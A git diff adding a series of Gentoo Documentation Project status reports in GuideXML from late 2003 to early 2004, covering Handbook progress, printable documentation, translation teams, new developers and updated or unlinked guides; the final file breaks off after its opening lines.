diff --git a/xml/htdocs/proj/en/gdp/status/status_20031217.xml b/xml/htdocs/proj/en/gdp/status/status_20031217.xml
new file mode 100644
index 00000000..0dd179ae
--- /dev/null
+++ b/xml/htdocs/proj/en/gdp/status/status_20031217.xml
@@ -0,0 +1,185 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE project SYSTEM "/dtd/guide.dtd">
+<guide>
+<title>GDP Status Report</title>
+<date>December 17, 2003</date>
+<version>1.0</version>
+<author><mail link="swift@gentoo.org">Sven Vermeulen</mail></author>
+<abstract>Status report of the GDP project</abstract>
+
+<chapter>
+<title>Status Reports</title>
+<section>
+<title>Preliminaries</title>
+<body>
+
+<p>
+This is the status of the Gentoo Documentation Project. It will be posted
+regularly, but not with a static frequency. All questions can be posted to
+<mail link="gentoo-doc@gentoo.org">gentoo-doc@gentoo.org</mail> or to 
+<mail link="swift@gentoo.org">me</mail> personally.
+</p>
+
+<p>
+The Gentoo Documentation Project, from now on abbreviated to GDP, has its own
+project page (just like almost all other Gentoo projects). You can find it at
+<uri>http://www.gentoo.org/proj/en/gdp</uri>. 
+</p>
+
+</body>
+</section>
+<section>
+<title>Content</title>
+<body>
+
+<p>
+This status mail will briefly discuss the following tasks, objectives and/or
+projects related to the GDP:
+</p>
+
+<ul>
+<li><uri link="#doc_chap2">PDF Documentation</uri></li>
+<li><uri link="#doc_chap3">Gentoo Handbook Development</uri></li>
+<li><uri link="#doc_chap4">Translation-Specific Documentation</uri></li>
+<li><uri link="#doc_chap5">Todo List</uri></li>
+<li><uri link="#doc_chap6">New / Removed Documents</uri></li>
+</ul>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>PDF Documentation</title>
+<section>
+<body>
+
+<p>
+As mentioned as an errata previously, <c>fop-bin</c> only requires the
+<c>xfree-libs</c> in case SVG graphics are used. As we don't use SVG (we use MVG
+*mwhahaha* - just kidding :) we should be able to remove this dependency. Due
+to other projects / development, this hasn't been investigated thoroughly yet,
+but it is still on our TODO list.
+</p>
+
+<p>
+While we are at it, we are in search of people that know XSL:FO and are able to
+create a professional design to use for both the Gentoo Guides as the Gentoo
+Handbook.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Gentoo Handbook Development</title>
+<section>
+<body>
+
+<p>
+The second part of the Gentoo Handbook is finished and ready for massive
+testing. You can find this "beta"-version <uri
+link="/doc/en/handbook/draft/handbook.xml?part=2">online</uri>. This part will
+learn the users how to work with Gentoo: USE-flags, Portage, Init scripts and
+Environment variables. This version should be official before the next Gentoo
+release and replaces the following guides:
+</p>
+
+<ul>
+  <li><uri link="/doc/en/portage-user.xml">Portage User Guide</uri></li>
+  <li><uri link="/doc/en/use-howto.xml">USE Howto</uri></li>
+  <li><uri link="/doc/en/rc-scripts.xml">Gentoo Linux Init System</uri></li>
+  <li><uri link="/doc/en/env.d-howto.xml">Environment Variables Howto</uri></li>
+</ul>
+
+<p>
+It must be made clear that the Gentoo Handbook will not replace all guides -
+only those that can really benefit from being integrated will be integrated
+(duh).
+</p>
+
+<p>
+The next parts in the Gentoo Handbook will be an extended <e>Desktop
+Configuration</e> part (which is a rewrite of the <uri
+link="/doc/en/desktop.xml">Desktop Configuration Guide</uri>) and a
+<e>Developing Gentoo</e> part (which will contain information on ebuild
+development, e-class usage, etc.).
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Translation-Specific Documentation</title>
+<section>
+<body>
+
+<p>
+During the past few months, the integration of more and more languages in the
+documentation team was a bit hectic: no clear acceptance rules, no clear
+definition on the status, no clear priority list regarding translations. This
+is now solved with the release of the <uri
+link="/proj/en/gdp/translators-howto.xml">Translators Howto</uri>.
+</p>
+
+<p>
+A <uri link="/proj/en/gdp/tipsntricks.xml">Tips &amp; Tricks</uri> document is
+also available that contains information for all documentation editors (both
+developers and contributors).
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Todo List</title>
+<section>
+<body>
+
+<p>
+The <uri link="/proj/en/gdp">Gentoo Documentation Project</uri> website now has
+a TODO-list which lists -- guess -- our TODO list. This substitutes the "tasks"
+we had previously which made the project page less readable. The todo list
+currently holds the following subjects:
+</p>
+
+<ul>
+  <li>Gentoo Release 2004 Requirements</li>
+  <li>Printable Documentation</li>
+  <li>Moving User-Specific Documentation</li>
+</ul>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>New / Removed Documents</title>
+<section>
+<body>
+
+<ul>
+  <li>
+    Installation instructions for the MIPS architecture have been added to the
+    <uri link="/doc/en/handbook/handbook.xml">Gentoo Handbook</uri>
+  </li>
+  <li>
+    A <uri link="/doc/en/mips-requirements.xml">MIPS Requirements Document</uri>
+    has been added to the documentation since no real good source is available
+    on the development of MIPS support for Linux
+  </li>
+  <li>
+    The <uri link="/doc/en/gentoo-release-policy.xml">Gentoo Release
+    Policy</uri> which was previously available in the documentation repository
+    is now unlinked as it is fairly outdated (due to the new 
+    <uri link="/proj/en/releng">release engineering process</uri>)
+  </li>
+</ul>
+
+</body>
+</section>
+</chapter>
+</guide>
diff --git a/xml/htdocs/proj/en/gdp/status/status_20040102.xml b/xml/htdocs/proj/en/gdp/status/status_20040102.xml
new file mode 100644
index 00000000..6f112330
--- /dev/null
+++ b/xml/htdocs/proj/en/gdp/status/status_20040102.xml
@@ -0,0 +1,188 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE project SYSTEM "/dtd/guide.dtd">
+<guide>
+<title>GDP Status Report</title>
+<date>January 2, 2003</date>
+<version>1.0</version>
+<author><mail link="swift@gentoo.org">Sven Vermeulen</mail></author>
+<abstract>Status report of the GDP project</abstract>
+
+<chapter>
+<title>Status Reports</title>
+<section>
+<title>Preliminaries</title>
+<body>
+
+<p>
+This is the status of the Gentoo Documentation Project. It will be posted
+regularly, but not with a static frequency. All questions can be posted to
+<mail link="gentoo-doc@gentoo.org">gentoo-doc@gentoo.org</mail> or to 
+<mail link="swift@gentoo.org">me</mail> personally.
+</p>
+
+<p>
+The Gentoo Documentation Project, from now on abbreviated to GDP, has its own
+project page (just like almost all other Gentoo projects). You can find it at
+<uri>http://www.gentoo.org/proj/en/gdp</uri>. 
+</p>
+
+</body>
+</section>
+<section>
+<title>Content</title>
+<body>
+
+<p>
+This status mail will briefly discuss the following tasks, objectives and/or
+projects related to the GDP:
+</p>
+
+<ul>
+<li><uri link="#doc_chap2">Gentoo Handbook Development</uri></li>
+<li><uri link="#doc_chap3">New Gentoo Release</uri></li>
+<li><uri link="#doc_chap4">New Developers</uri></li>
+<li><uri link="#doc_chap5">New Documentation</uri></li>
+<li><uri link="#doc_chap6">Upcoming Updates</uri></li>
+</ul>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Gentoo Handbook Development</title>
+<section>
+<body>
+
+<p>
+The second part of the Gentoo Handbook is now online and production-ready. This
+part is currently available side-by-side with the guides it replaces. This
+situation will continue until the first bugs of the second part are removed. 
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>New Gentoo Release</title>
+<section>
+<body>
+
+<p>
+With the upcoming new Gentoo release, most efforts in the documentation team are
+brought to the auditing of the current documentation and getting all bugreports
+on the installation instructions fixed. We are working closely with the release
+engineering team to have the instructions in tip-top shape for inclusion on the
+upcoming LiveCDs.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>New Developers</title>
+<section>
+<body>
+
+<p>
+Although not that new to the Gentoo Documentation Project, the following
+developers have been introduced since the last status update:
+</p>
+
+<ul>
+  <li>
+    <mail link="broeman@gentoo.org">Jesper Brodersen</mail> as Lead Translator
+    for the Danish language
+  </li>
+  <li>
+    <mail link="aaby@gentoo.org">Arne Mejlholm</mail> as Follow-Up Translator
+    for the Danish language
+  </li>
+  <li>
+    <mail link="dertobi123@gentoo.org">Tobias Scherbaum</mail> as Lead
+    Translator of the German language and Editor of the English documents
+  </li>
+</ul>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>New Documentation</title>
+<section>
+<body>
+
+<p>
+Two new documents have emerged from the older OpenMOSIX howto:
+</p>
+
+<ul>
+  <li>
+    <uri link="/doc/en/openmosix-howto.xml">OpenMOSIX Howto</uri> which covers
+    OpenMOSIX :p
+  </li>
+  <li>
+    <uri link="/doc/en/diskless-howto.xml">Diskless Howto</uri> which covers
+    creating diskless nodes with Gentoo
+  </li>
+</ul>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Upcoming Updates</title>
+<section>
+<body>
+
+<p>
+Also known as TODO :) There is a small TODO section on our website. I will
+improve that part so it contains more information and try sum up what actions
+need to be done.
+</p>
+
+<p>
+In short, these are the upcoming changes:
+</p>
+
+<ul>
+  <li>
+    The Desktop Configuration Guide will be rewritten and possibly integrated in
+    the Handbook
+  </li>
+  <li>
+    Development-related documentation will be rewritten and integrated in the
+    Handbook
+  </li>
+  <li>
+    Off-project documentation (documentation that is available through
+    gentoo.org but not linked on our documentation resource page) that is of
+    interest for users will be integrated in the current documentation resource
+    page after carefull reviewing
+  </li>
+  <li>
+    We are still hoping to get PDF versions online for the documentation. If it
+    plays out to be very difficult, we will improve the "printable"
+    documentation (for instance a one-page, fits-all for the handbook) and/or
+    include information on how to generate PDFs from XSL-FO (after providing
+    such formatted documents of course).
+  </li>
+  <li>
+    More supported languages :)
+  </li>
+  <li>
+    A uDev guide and, if udev is flexible enough, change the installation
+    instructions (after carefull consideration with releng and the architecture
+    developers of course) to provide the user with the choice of devfs vs udev. 
+  </li>
+</ul>
+
+</body>
+</section>
+</chapter>
+
+</guide>
diff --git a/xml/htdocs/proj/en/gdp/status/status_20040117.xml b/xml/htdocs/proj/en/gdp/status/status_20040117.xml
new file mode 100644
index 00000000..756f696c
--- /dev/null
+++ b/xml/htdocs/proj/en/gdp/status/status_20040117.xml
@@ -0,0 +1,218 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE project SYSTEM "/dtd/guide.dtd">
+<guide>
+<title>GDP Status Report</title>
+<date>January 17, 2003</date>
+<version>1.0</version>
+<author><mail link="swift@gentoo.org">Sven Vermeulen</mail></author>
+<abstract>Status report of the GDP project</abstract>
+
+<chapter>
+<title>Status Reports</title>
+<section>
+<title>Preliminaries</title>
+<body>
+
+<p>
+This is the status of the Gentoo Documentation Project. It will be posted
+regularly, but not with a static frequency. All questions can be posted to
+<mail link="gentoo-doc@gentoo.org">gentoo-doc@gentoo.org</mail> or to 
+<mail link="swift@gentoo.org">me</mail> personally.
+</p>
+
+<p>
+The Gentoo Documentation Project, from now on abbreviated to GDP, has its own
+project page (just like almost all other Gentoo projects). You can find it at
+<uri>http://www.gentoo.org/proj/en/gdp</uri>. 
+</p>
+
+</body>
+</section>
+<section>
+<title>Content</title>
+<body>
+
+<p>
+This status mail will briefly discuss the following tasks, objectives and/or
+projects related to the GDP:
+</p>
+
+<ul>
+<li><uri link="#doc_chap2">Printable Documentation</uri></li>
+<li><uri link="#doc_chap3">Handbook Development</uri></li>
+<li><uri link="#doc_chap4">French Handbook Translation</uri></li>
+<li><uri link="#doc_chap5">New/Rewritten Documentation</uri></li>
+<li><uri link="#doc_chap6">Hiatus'es</uri></li>
+</ul>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Printable Documentation</title>
+<section>
+<body>
+
+<p>
+<mail link="swift@gentoo.org">Sven Vermeulen</mail> has given up on the
+development of XSL-FO stylesheets to convert the current existing documentation
+to XSL-FO (which can be rendered to PDF). The main issue is:
+</p>
+
+<ul>
+  <li>He's not good in graphical designs</li>
+  <li>Unable to dynamically guess the table column widths</li>
+  <li>
+    Issues with rendering images (with <c>&lt;fig&gt;</c> and
+    <c>&lt;figure&gt;</c>)
+  </li>
+  <li>
+    Issues with nested constructions (<c>&lt;pre&gt;</c> inside a
+    <c>&lt;ul&gt;</c> listing with some <c>&lt;p&gt;</c>'s and
+    <c>&lt;note&gt;</c>'s inside).
+  </li>
+</ul>
+
+<p>
+At this point, the bugs that deal with this have been updated:
+</p>
+
+<ul>
+  <li>
+    <uri link="http://bugs.gentoo.org/show_bug.cgi?id=31672">31672</uri> 
+    has been reassigned to docs-team@gentoo.org and is open for further
+    development from other developers (if they want).
+  </li>
+  <li>
+    <uri link="http://bugs.gentoo.org/show_bug.cgi?id=36761">36761</uri>
+    has shifted focus to provide a link to the printable page of each chapter in
+    the menubar and is now FIXED.
+  </li>
+</ul>
+
+<p>
+People interested in having a PDF version of the handbook (for printing
+pleasure) can always contact <mail link="swift@gentoo.org">Sven 
+Vermeulen</mail>, he can provide you with a "Mozilla-printed-and-converted" PDF
+(such as <uri link="http://dev.gentoo.org/~swift/handbook.pdf">this one</uri>).
+This is however unofficial.
+</p>
+
+<p>
+<mail link="plasmaroo@gentoo.org">Tim Yamin</mail> is working on the handbook
+xslfo file and has already done quite an amasing job. More information will be
+posted later :)
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Handbook Development</title>
+<section>
+<body>
+
+<p>
+With the upcoming required Gentoo 2004.0 changes the documentation (to be more
+precise, the Gentoo Handbook) requires some major updates. 
+</p>
+
+<p>
+The first update is to support GRP packages to more extend:
+</p>
+
+<ul>
+  <li>Improve description of GRP</li>
+  <li>Support downloading of GRP</li>
+</ul>
+
+<p>
+Most of these updates require changes in chapter 5. The current draft version of
+that chapter can be found <uri
+link="/doc/en/handbook/draft/handbook.xml?part=1&amp;chap=5">online</uri>.
+</p>
+
+<p>
+A second update is the removal of the LVM instructions. This is necessary
+because of issues we have with LVM1 vs LVM2 and users that boot both 2.4 and 2.6
+kernels. Although it is perfectly possible to have an LVM-based system that runs
+on both kernels, we currently dismissed the instructions until further notice.
+</p>
+
+<p>
+A third update that has recently been applied is concerning the new
+<c>genkernel</c> instructions. 
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>French Handbook Translation</title>
+<section>
+<body>
+
+<p>
+After several weeks (months) of hard work, the French translation team has
+managed to completely translate the <uri 
+link="/doc/fr/handbook/handbook.xml">Gentoo Handbook</uri>. This makes the 
+French translation team the first team that completed the translation.
+</p>
+
+<p>
+Kudos from the whole documentation team to <mail link="neysx@gentoo.org">Xavier
+Neys</mail>, <mail link="benjamin.girault@laposte.net">Benjamin Girault</mail>,
+<mail link="cam@cameuh.net">Camille Huot</mail>, <mail
+link="olivier.fisette@sympatico.ca">Olivier Fisette</mail>, <mail
+link="takezo@skynet.be">Olivier Roomans</mail>, <mail
+link="vincent.strubel@m4x.org">Vincent Strubel</mail> and the other people that
+I might have forgotten to mention!
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>New/Rewritten Documentation</title>
+<section>
+<body>
+
+<p>
+<uri link="gustavo@felisberto.net">Gustavo Felisberto</uri> (HumpBack on irc)
+has rewritten the <uri link="/doc/en/gnupg-user.xml">GnuPG User Guide</uri> and
+included a section on Public Key Cryptography.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Hiatus'es</title>
+<section>
+<body>
+
+<p>
+<mail link="gerrynjr@gentoo.org">Gerald J. Normandin Jr.</mail> will be on a
+hiatus from January 21st until somewhere in June/July for academisc reasons.
+</p>
+
+<p>
+<mail link="swift@gentoo.org">Sven Vermeulen</mail> will decrease his activity
+and focus primarily on the Handbook development until February 7th.
+</p>
+
+<p>
+Lots of other documentation developers seem to be less active these days, so
+documentation development may be stalled a bit.
+</p>
+
+</body>
+</section>
+</chapter>
+
+</guide>
diff --git a/xml/htdocs/proj/en/gdp/status/status_20040205.xml b/xml/htdocs/proj/en/gdp/status/status_20040205.xml
new file mode 100644
index 00000000..2bf06f79
--- /dev/null
+++ b/xml/htdocs/proj/en/gdp/status/status_20040205.xml
@@ -0,0 +1,114 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE project SYSTEM "/dtd/guide.dtd">
+<guide>
+<title>GDP Status Report</title>
+<date>February 5, 2003</date>
+<version>1.0</version>
+<author><mail link="swift@gentoo.org">Sven Vermeulen</mail></author>
+<abstract>Status report of the GDP project</abstract>
+
+<chapter>
+<title>Status Reports</title>
+<section>
+<title>Preliminaries</title>
+<body>
+
+<p>
+This is the status of the Gentoo Documentation Project. It will be posted
+regularly, but not with a static frequency. All questions can be posted to
+<mail link="gentoo-doc@gentoo.org">gentoo-doc@gentoo.org</mail> or to 
+<mail link="swift@gentoo.org">me</mail> personally.
+</p>
+
+<p>
+The Gentoo Documentation Project, from now on abbreviated to GDP, has its own
+project page (just like almost all other Gentoo projects). You can find it at
+<uri>http://www.gentoo.org/proj/en/gdp</uri>. 
+</p>
+
+</body>
+</section>
+<section>
+<title>Content</title>
+<body>
+
+<p>
+This status mail will briefly discuss the following tasks, objectives and/or
+projects related to the GDP:
+</p>
+
+<ul>
+<li><uri link="#doc_chap2">Printable Documentation</uri></li>
+<li><uri link="#doc_chap3">New Developer</uri></li>
+<li><uri link="#doc_chap4">Unlinked Documentation</uri></li>
+</ul>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Printable Documentation</title>
+<section>
+<body>
+
+<p>
+This really is a recurring theme :) <mail link="neysx@gentoo.org">Xavier
+Neysx</mail> has proposed some changes to the <path>guide.xsl</path> and
+<path>handbook.xsl</path> files in order to create a single-page output of the
+entire Handbook.
+</p>
+
+<p>
+The changes also include support for translating the various hard-coded English
+terms (such as "Important", "Note", "Warning", etc.) in the current stylesheets.
+Right now we are waiting for some various test results before the changes can go
+live.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>New Developer</title>
+<section>
+<body>
+
+<p>
+The Documentation Project welcomes <mail link="humpback@gentoo.org">Gustavo
+Felisberto</mail> as new Lead Translator for the Portuguese language.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Unlinked Documentation</title>
+<section>
+<body>
+
+<p>
+All LVM-related instructions (and guides) have been removed (and unlinked) from
+the documentation repository. Although you can still view the <uri
+link="/doc/en/lvm.xml">LVM Guide</uri> online, you will not find it from our
+<uri link="/doc/en/index.xml">Documentation Index</uri>.
+</p>
+
+<p>
+<mail link="neysx@gentoo.org">Xavier Neys</mail> has updated the guide and
+transformed it to an LVM2 guide. It still needs to be tested and reviewed
+though.
+</p>
+
+<p>
+The <uri link="/doc/en/ldap-howto.xml">LDAP Howto</uri> has also been unlinked
+from the documentation index due to security issues.
+</p>
+
+</body>
+</section>
+</chapter>
+
+</guide>
diff --git a/xml/htdocs/proj/en/gdp/status/status_20040219.xml b/xml/htdocs/proj/en/gdp/status/status_20040219.xml
new file mode 100644
index 00000000..22655abe
--- /dev/null
+++ b/xml/htdocs/proj/en/gdp/status/status_20040219.xml
@@ -0,0 +1,205 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+<guide>
+<title>GDP Status Report</title>
+<author><mail link="swift@gentoo.org">Sven Vermeulen</mail></author>
+<abstract>Status report of the GDP project</abstract>
+<version>1.0</version>
+<date>February 19, 2004</date>
+
+<chapter>
+<title>Status Reports</title>
+<section>
+<title>Preliminaries</title>
+<body>
+
+<p>
+This is the status of the Gentoo Documentation Project. It will be posted
+regularly, but not with a static frequency. All questions can be posted to
+<mail link="gentoo-doc@gentoo.org">gentoo-doc@gentoo.org</mail> or to 
+<mail link="swift@gentoo.org">me</mail> personally.
+</p>
+
+<p>
+The Gentoo Documentation Project, from now on abbreviated to GDP, has its own
+project page (just like almost all other Gentoo projects). You can find it at
+<uri>http://www.gentoo.org/proj/en/gdp</uri>. 
+</p>
+
+</body>
+</section>
+<section>
+<title>Content</title>
+<body>
+
+<p>
+This status mail will briefly discuss the following tasks, objectives and/or
+projects related to the GDP:
+</p>
+
+<ul>
+<li><uri link="#doc_chap2">TODO List</uri></li>
+<li><uri link="#doc_chap3">Status Updates on a per-developer basis</uri></li>
+<li><uri link="#doc_chap4">Updated Documentation</uri></li>
+<li><uri link="#doc_chap5">Draft DRP Proposal</uri></li>
+<li><uri link="#doc_chap6">Handbook Updates</uri></li>
+<li><uri link="#doc_chap7">Documentation Links</uri></li>
+</ul>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>TODO List</title>
+<section>
+<body>
+
+<p>
+<mail link="swift@gentoo.org">Sven Vermeulen</mail> has posted a preliminary
+TODO list that - amongst the pile of bugreports - need to be resolved. A tad
+later this TODO list is added to the <uri link="/proj/en/gdp">GDP Website</uri>
+as a separate resource.
+</p>
+
+<p>
+Developers interested in taking on a challenge posed by the TODO list can always
+inform <mail link="gentoo-doc@gentoo.org">the gentoo-doc mailinglist</mail>.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Status Updates on a per-developer basis</title>
+<section>
+<body>
+
+<p>
+From now on, all GDP Developers are required to post a monthly status update on
+their own personal achievements. Such a status update, which must be mailed to
+<mail link="gentoo-doc@gentoo.org">gentoo-doc</mail>, contains at least:
+</p>
+
+<ul>
+  <li>what the developer did the last month</li>
+  <li>what the developer is planning on doing the upcoming month(s)</li>
+  <li>what issues the developer had that he couldn't resolve</li>
+</ul>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Updated Documentation</title>
+<section>
+<body>
+
+<p>
+The following documentation has been updated to a great extend:
+</p>
+
+<ul>
+  <li>
+    <uri link="/doc/en/gentoo-kernel.xml">Gentoo Kernel Guide</uri> with a
+    rundown on the current kernel ebuilds
+  </li>
+  <li>
+    <uri link="/doc/en/xml-guide.xml">XML Guide</uri> with a chapter on the
+    Gentoo Handbook format
+  </li>
+  <li>
+    <uri link="/doc/en/ebuild-mistakes.xml">Common Gentoo Ebuild Mistakes</uri>
+    is now officially available as documentation. It is of course a direct
+    rip-off of liquidx' document, but now we can safely link to it from other
+    resources
+  </li>
+  <li>
+    <uri link="/doc/en/metadata.xml">Metadata.xml documentation</uri> is also
+    officially available now. It is a copy/paste of the information found on the
+    <uri link="/proj/en/metastructure">metastructure</uri> project
+  </li>
+  <li>
+    We now have an official <uri link="/doc/en/genkernel.xml">Genkernel
+    Guide</uri> thanks to <mail link="plasmaroo@gentoo.org">Tim Yamin</mail>.
+  </li>
+</ul>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Draft DRP Proposal</title>
+<section>
+<body>
+
+<p>
+<mail link="swift@gentoo.org">Sven Vermeulen</mail> has launched a proposal to
+provide DRPs to the Gentoo community. The proposal is in the first stage and
+will not be persued before the other documentation issues are finished.
+</p>
+
+<p>
+More information can be found on <uri
+link="http://dev.gentoo.org/~swift/troubleshooting.html">Sven's Dev-page</uri>.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Handbook Updates</title>
+<section>
+<body>
+
+<p>
+The <uri link="/doc/en/handbook/draft/handbook.xml?part=1">Gentoo Installation
+Instructions</uri> have been altered to deal with the upcoming 2004.0 release.
+Changes include:
+</p>
+
+<ul>
+  <li>
+    Moving GRP-specific instructions to the end of the installation procedure
+    for the x86 and ppc architectures
+  </li>
+  <li>
+    Update on the LiveCD structure as no more packages will be provided by the
+    first LiveCD of the 2-CD LiveCD set in case of x86 and ppc
+  </li>
+  <li>
+    Updates on the <uri
+    link="/doc/en/handbook/draft/handbook.xml?part=1&amp;chap=5">Installing the
+    Gentoo Installation Files</uri>
+  </li>
+</ul>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Documentation Links</title>
+<section>
+<body>
+
+<p>
+The <uri link="/doc/en/index.xml">Documentation Index</uri> has been updated to
+point to the relevant Gentoo Handbook chapters (for USE flags, Portage stuff,
+Environment Variables and Initscripts).
+</p>
+
+<p>
+The links to the old <path>gentoo-*-install.xml</path> guides have been removed
+as those installation instructions are obsoleted.
+</p>
+
+</body>
+</section>
+</chapter>
+
+</guide>
diff --git a/xml/htdocs/proj/en/gdp/status/status_20040308.xml b/xml/htdocs/proj/en/gdp/status/status_20040308.xml
new file mode 100644
index 00000000..ad491886
--- /dev/null
+++ b/xml/htdocs/proj/en/gdp/status/status_20040308.xml
@@ -0,0 +1,175 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+<guide>
+<title>GDP Status Report</title>
+<author><mail link="swift@gentoo.org">Sven Vermeulen</mail></author>
+<abstract>Status report of the GDP project</abstract>
+<version>1.0</version>
+<date>March 8, 2003</date>
+
+<chapter>
+<title>Status Reports</title>
+<section>
+<title>Preliminaries</title>
+<body>
+
+<p>
+This is the status of the Gentoo Documentation Project. It will be posted
+regularly, but not with a static frequency. All questions can be posted to
+<mail link="gentoo-doc@gentoo.org">gentoo-doc@gentoo.org</mail> or to 
+<mail link="swift@gentoo.org">me</mail> personally.
+</p>
+
+<p>
+The Gentoo Documentation Project, from now on abbreviated to GDP, has its own
+project page (just like almost all other Gentoo projects). You can find it at
+<uri>http://www.gentoo.org/proj/en/gdp</uri>. 
+</p>
+
+</body>
+</section>
+<section>
+<title>Content</title>
+<body>
+
+<p>
+This status mail will briefly discuss the following tasks, objectives and/or
+projects related to the GDP:
+</p>
+
+<ul>
+<li><uri link="#doc_chap2">Separating Architecture-Specific Instructions</uri></li>
+<li><uri link="#doc_chap3">New / Updated Documentation</uri></li>
+<li><uri link="#doc_chap4">Individual Status Updates</uri></li>
+<li><uri link="#doc_chap5">New Internationalisation Lead</uri></li>
+</ul>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Separating Architecture-Specific Instructions</title>
+<section>
+<body>
+
+<p>
+A discussion on #gentoo-dev asks the GDP to develop a way for users to only view
+the installation instructions for their architecture. A mail on <uri
+link="http://article.gmane.org/gmane.linux.gentoo.documentation/1009">gentoo-doc</uri>
+explained the issue and <uri
+link="http://article.gmane.org/gmane.linux.gentoo.documentation/1055">another
+mail</uri> discusses the requirements.
+</p>
+
+<p>
+As this is a frequently asked feature, this request has been added to the GDP
+<uri link="/proj/en/gdp/roadmap.xml">TODO</uri> and is ready to be picked up by
+a couple of developers (<uri
+link="http://bugs.gentoo.org/show_bug.cgi?id=42823">#42823</uri>).
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>New / Updated Documentation</title>
+<section>
+<body>
+
+<p>
+<mail link="swift@gentoo.org">Sven Vermeulen</mail> has written up a guide on
+using <uri link="/doc/en/udev-guide.xml">udev on Gentoo</uri>.
+</p>
+
+<p>
+A new addition to our documentation repository is the <uri
+link="/doc/en/selinux-uml-guide.xml">SELinux UML Guide</uri>, contributed by
+<mail link="dimiduk.1@osu.edu">Nick Dimiduk</mail>.
+</p>
+
+<p>
+The <uri link="/doc/en/gentoo-x86-quickinstall.xml">Gentoo x86 Quick
+Installation Guide</uri> has been updated and relinked.
+</p>
+
+<p>
+Furthermore many updates have been made against the Gentoo Handbook:
+</p>
+
+<ul>
+  <li>Loading keymaps for international keyboards</li>
+  <li>Location of PPC LiveCDs</li>
+  <li>Kernel instructions (networkless installs don't have all sources)</li>
+  <li>GRP instructions have changed once again</li>
+  <li>Yaboot configuration for G5 has been updated</li>
+  <li>Link to the release errata</li>
+  <li>Information on Wireless Card configuration</li>
+</ul>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Individual Status Updates</title>
+<section>
+<body>
+
+<p>
+The first set of status updates (on individual basis) has been posted on
+gentoo-doc. Updates are available from 
+<uri link="http://article.gmane.org/gmane.linux.gentoo.documentation/1050">
+Sven Vermeulen</uri>, 
+<uri link="http://article.gmane.org/gmane.linux.gentoo.documentation/1051">
+Jesper Brodersen</uri>, 
+<uri link="http://article.gmane.org/gmane.linux.gentoo.documentation/1052">
+Tobias Scherbaum</uri>, 
+<uri link="http://article.gmane.org/gmane.linux.gentoo.documentation/1053">
+Marco Mascherpa</uri>, 
+<uri link="http://article.gmane.org/gmane.linux.gentoo.documentation/1054">
+Sergey Kuleshov</uri>, 
+<uri link="http://article.gmane.org/gmane.linux.gentoo.documentation/1056">
+Xavier Neys</uri>, 
+<uri link="http://article.gmane.org/gmane.linux.gentoo.documentation/1057">
+Erwin</uri>, 
+<uri link="http://article.gmane.org/gmane.linux.gentoo.documentation/1058">
+Benny Chuang</uri>, 
+<uri link="http://article.gmane.org/gmane.linux.gentoo.documentation/1061">
+José Alberto Suárez López</uri>, 
+<uri link="http://article.gmane.org/gmane.linux.gentoo.documentation/1080">
+George Shapulov</uri>,
+<uri link="http://article.gmane.org/gmane.linux.gentoo.documentation/1110">
+Thomas Ferencz</uri>.
+</p>
+
+<p>
+<mail link="seo@gentoo.org">Jungmin Seo</mail> and <mail 
+link="antifa@gentoo.org">Ken Nowack</mail> are back from being absent and are 
+currently catching up.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>New Internationalisation Lead</title>
+<section>
+<body>
+
+<p>
+The burden of having to deal with many translation teams and
+internationalisation-specific items has been assigned to <mail 
+link="neysx@gentoo.org">Xavier Neys</mail>, a well-known and active GDP-member.
+This burden is known as the <uri
+link="/proj/en/gdp/international.xml">Internationalisation Subproject</uri> of
+which Xavier is now the project manager :-).
+</p>
+
+</body>
+</section>
+</chapter>
+
+</guide>
diff --git a/xml/htdocs/proj/en/gdp/status/status_20040327.xml b/xml/htdocs/proj/en/gdp/status/status_20040327.xml
new file mode 100644
index 00000000..c39b9aaf
--- /dev/null
+++ b/xml/htdocs/proj/en/gdp/status/status_20040327.xml
@@ -0,0 +1,161 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+<guide>
+<title>GDP Status Report</title>
+<author><mail link="swift@gentoo.org">Sven Vermeulen</mail></author>
+<abstract>Status report of the GDP project</abstract>
+
+<version>1.0</version>
+<date>March 27, 2004</date>
+
+<chapter>
+<title>Status Reports</title>
+<section>
+<title>Preliminaries</title>
+<body>
+
+<p>
